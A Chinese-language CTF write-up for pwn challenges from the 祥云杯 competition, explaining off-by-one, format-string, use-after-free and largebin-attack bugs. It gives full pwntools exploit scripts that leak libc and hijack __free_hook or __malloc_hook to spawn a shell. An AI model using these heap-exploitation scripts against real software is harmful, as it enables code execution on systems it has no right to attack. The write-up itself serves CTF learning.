又是拖了好久的复现,祥pwn杯😅

PassWordBox_FreeVersion

off by one

就是数据会被异或加密,但是异或结果可以被泄露从而算出密钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# -*- coding: UTF-8 -*-
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
binary = './pwdFree'
elf=ELF(binary)
libc=ELF("/home/wendy/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc.so.6")
flag=0
if flag:
sh = remote('119.3.81.43', 49153)
else:
sh = process(binary)
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))
def menu(choice):
sla("Choice:",str(choice))
def add(idx,size,pwd):
menu(1)
sla('t Save:',str(idx))
sla('Length Of Your Pwd:',str(size)) #<=0x100
sla('Your Pwd:',pwd)
def edit(index,pwd):
menu(2)
sl(str(index))
sd(pwd)
def show(idx):
menu(3)
sla("Want Check:",str(idx))
def delete(idx):
menu(4)
sla("2 Delete:",str(idx))

add(0,1,'a')
sh.recvuntil('Save ID:')
xor = (u64(sh.recv(8)))^ord('a')
leak('xor',xor)


add(1,0xF0,'a'*0xF0) #1
add(2,0x80,'b'*0x80) #2
add(3,0x88,'c'*0x88) #3
add(4,0xF0,'d'*0xF0) #4

for i in range(5,12): #5-11
add(i,0xf0,'e'*0xd0)

for i in range(5,12): #5-11
delete(i)

delete(1)
delete(3)
add(3,0x88,'a'*0x80+p64((0x100+0x90+0x90)^xor)+'\x00')
delete(4)

for i in range(5,12): #5-11
add(i,0xf0,'e'*0xd0)
add(1,0xF0,'a\n')
show(2)
sh.recvuntil('Pwd is: ')
libc_base = ((u64(sh.recv(8)))^xor) - 0x3ebca0
leak('libc_base',libc_base)
__free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']

add(12,0x80,'b\n') #12==1
add(13,0x88,'c'*0x88)
add(14,0xF0,'d'*0xF0)

delete(2)
delete(1)
edit(12,p64(__free_hook))
add(4,0x80,'s')
add(15,0x80,p64((0x4f432+libc_base)^xor)+'\x00') #0x4f3d5 0x4f432 0x10a41c
delete(4)
# gdb.attach(sh)
ti()

note

scanf的格式化字符串漏洞可以无限任意地址写

没有dele功能,使用house of orange

有了堆地址,用任意写功能改小top chunk size(注意要对齐)

让top chunk被释放到unsortedbin,再申请出来泄露libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# -*- coding: UTF-8 -*-
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'

binary = './note'
elf=ELF(binary)
libc = ELF('/home/wendy/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
flag=0
if flag:
sh = remote('47.104.70.90', 25315)
else:
sh = process(binary)

sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))
def leaklibc():
global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_,_IO_list_all,realloc
libc_base = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3c4c48
success('libc_base = '+hex(libc_base))
__malloc_hook=libc_base+libc.sym['__malloc_hook']
__free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
realloc=libc_base+libc.sym['realloc']
def cmd(index):
sla('choice: ', str(index))
def add(size,content):
cmd(1)
sla('size: ',str(size)) #<=0x100
sa('content: ',content)
def say(fmt,content):
cmd(2)
sla('say ? ',fmt)
sla('? ',content)
def show():
cmd(3)


add(0xf0,'a\n')
sh.recvuntil('addr: 0x')
chunk_addr = int(sh.recvuntil('\n',drop=True),16) -0x10
for i in range(0x10-2): # align top chunk size
add(0xf0,'a\n')
leak('chunk_addr',chunk_addr)
top_chunk=chunk_addr+0xf00
leak('top_chunk',top_chunk)
say("%7$s".ljust(8,'\x00')+p64(top_chunk+8),p64(0x101)) # top size 0x20101 -> 0x101

add(0x100,'bbbb\n')
add(0x10,'a'*8)
show()
leaklibc()

one=[0x45226,0x4527a,0xf03a4,0xf1247]
say("%7$s".ljust(8,'\x00')+p64(__malloc_hook-8),p64(one[1]+libc_base)+p64(realloc+13))

leak('realloc+13',realloc+13)

# pause()
cmd(1)
sla('size: ',str(0x20))

# gdb.attach(sh)

ti()

PassWordBox_ProVersion

加密部分还是和第一题一样,xor加密数字固定,利用0^num=num可以泄露出num

可以UAF,但是因为chunk大小限制不能直接tcache劫持

可以通过largebin attack往mp_.tcache_bins写一个很大的数(堆地址),这样就可以把largechunk放入tcachebin了

image-20210920183216925

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
# -*- coding: UTF-8 -*-
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'

binary = './pwdPro'
elf=ELF(binary)
libc = ELF('/home/wendy/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc.so.6')
flag=0
if flag:
sh = remote('47.104.70.90', 25315)
else:
sh = process(binary)

sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))
def cmd(index):
sla('Input Your Choice:\n', str(index))
def add(index,ID,Length,content):
cmd(1)
sla('Which PwdBox You Want Add:',str(index))
sla('Input The ID You Want Save:',ID)
sla('Length Of Your Pwd:',str(Length)) #0x41f-0x888
sa('Your Pwd:',content)
def edit(index,content):
cmd(2)
sla('You Want Edit:',str(index))
sl(content)
def show(index):
cmd(3)
sla('Which PwdBox You Want Check:',str(index))
def dele(index):
cmd(4)
sla('Idx you want 2 Delete:',str(index))
def recover(index):
cmd(5)
sla('Idx you want 2 Recover:',str(index))

add(0,'a',0x628,p64(0)+'\n')

sh.recvuntil('Save ID:')
secret_xor = u64(sh.recv(8))
leak('secret_xor',secret_xor)

add(1,'b',0x420,'b\n')
add(2,'b',0x618,'b\n')
add(3,'b',0x420,'b\n')

add(7,'b',0x500,'b\n')
add(8,'b',0x500,'b\n')

dele(0) # into unsortedbin
recover(0)
show(0)
sh.recvuntil('Pwd is: ')
libc_base = (u64(sh.recv(8)) ^ secret_xor) - 0x1ebbe0
leak('libc_base',libc_base)
__free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']

add(4,'a',0x638,p64(0)+'\n') #0x630 chunk0 into largebin
dele(2) #0x620 chunk2 into unsortedbin
mp_bins = libc_base+0x1eb280+0x50-0x20
leak('mp_bins',mp_bins)
edit(0,p64(0)+p64(0)+p64(0)+p64(mp_bins)) # uaf edit largechunk0(0x630)
add(5,'a',0x638,p64(0)+'\n') # chunk2 into largebin --> largbin attack!

dele(7)
dele(8)
recover(8)
edit(8,p64(__free_hook)+'\n')
add(9,'b',0x500,'c\n')
edit(9,'/bin/sh\x00\n')
add(10,'b',0x500,p64(system^secret_xor)+'\n')

dele(9)
# gdb.attach(sh)

ti()

lemon

这一块说是考察rand()不安全随机数接口

没给定种子的rand(),生成的随机数是固定的,但还是没太明白这解题方法哪里用到了固定随机数😗

只要buf输入一个很大的数,就可以循环rand多次,只要有一次符合条件就可以返回1

image-20210920134010284